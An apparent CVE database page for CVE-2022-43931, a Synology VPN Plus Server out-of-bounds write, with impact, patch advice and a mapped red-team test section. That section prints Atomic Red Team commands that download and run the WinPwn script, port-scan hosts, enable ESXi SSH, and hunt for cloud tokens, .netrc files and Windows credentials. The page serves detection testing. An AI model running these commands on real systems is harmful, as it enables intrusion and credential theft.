CVE-2022-43931
Overview
This vulnerability is an out-of-bounds write flaw rooted in improper boundary checking within the Remote Desktop functionality of Synology VPN Plus Server. The flaw arises from insufficient validation of input data sizes, allowing memory corruption during processing of remote desktop requests. The affected component is the Remote Desktop feature in versions prior to 1.4.3-0534 and 1.4.4-0635.
Vulnerability Description
Out-of-bounds write vulnerability in Remote Desktop Functionality in Synology VPN Plus Server before 1.4.3-0534 and 1.4.4-0635 allows remote attackers to execute arbitrary commands via unspecified vectors.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network to execute arbitrary commands with system-level privileges on the affected Synology VPN Plus Server. This enables full compromise of the device, including data theft, service disruption, or lateral movement within the network. The attack requires no user interaction and no prior authentication, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N), making it highly exploitable in exposed environments.
Solution
Synology has released security updates addressing this vulnerability in VPN Plus Server versions 1.4.3-0534 and 1.4.4-0635. Administrators should promptly upgrade to these or later versions as detailed in Synology Security Advisory SA-22-26 (https://www.synology.com/en-global/security/advisory/Synology_SA_22_26). No workarounds are specified; applying the official patches is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The out-of-bounds write vulnerability in the Remote Desktop functionality of Synology's VPN Plus Server presents a critical security concern. This flaw allows an attacker to write data outside the bounds of allocated memory, which can lead to arbitrary code execution. The vulnerability arises due to insufficient validation of input data, enabling attackers to manipulate memory in a way that can overwrite function pointers or other critical data structures. This exploitation can lead to the execution of malicious code with the same privileges as the affected service, potentially granting the attacker full control over the system.
Attack vectors for this vulnerability are particularly concerning due to the remote nature of the exploitation. An attacker could leverage this flaw through various means, such as sending specially crafted requests to the VPN Plus Server. Given that the affected product is often exposed to the internet for remote access, the likelihood of exploitation increases significantly. Scenarios may include a targeted attack where an adversary scans for vulnerable instances of the VPN Plus Server, followed by the execution of crafted payloads that exploit the out-of-bounds write condition. This could lead to unauthorized access to sensitive data, lateral movement within the network, or even complete system compromise.
The real-world impact of this vulnerability is profound, particularly for organizations relying on Synology's VPN Plus Server for secure remote access. A successful exploitation could result in significant business risks, including data breaches, loss of customer trust, and potential regulatory penalties. The severity of the vulnerability, rated with a maximum CVSS score, indicates that the consequences of exploitation could be catastrophic. Organizations may face operational disruptions, financial losses, and reputational damage, particularly if sensitive information is exfiltrated or if the system is used as a launchpad for further attacks within the network.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the VPN Plus Server to the latest versions is crucial, as patches often address known vulnerabilities. Employing intrusion detection systems (IDS) can help identify unusual patterns of behavior that may indicate an attempted exploitation. Additionally, network segmentation can limit the exposure of critical systems to the internet, reducing the attack surface. Organizations should also conduct regular security assessments and penetration testing to identify potential weaknesses in their configurations and to ensure that security controls are effective against emerging threats.
In conclusion, the out-of-bounds write vulnerability in Synology's VPN Plus Server represents a significant threat to organizations utilizing this product for remote access. The potential for arbitrary code execution poses serious risks, necessitating immediate attention from security teams. By adopting proactive detection and mitigation strategies, organizations can safeguard their environments against exploitation and maintain the integrity of their systems and data.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synology | Vpn Plus Server | All |
cpe:2.3:a:synology:vpn_plus_server:*:*:*:*:*:*:*:*
|
|
|
Synology | Vpn Plus Server | All |
cpe:2.3:a:synology:vpn_plus_server:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-43931 |
| synology.com |
GitHub CVE
vendor-advisory
|
https://www.synology.com/en-global/security/advisory/Synology_SA_22_26 |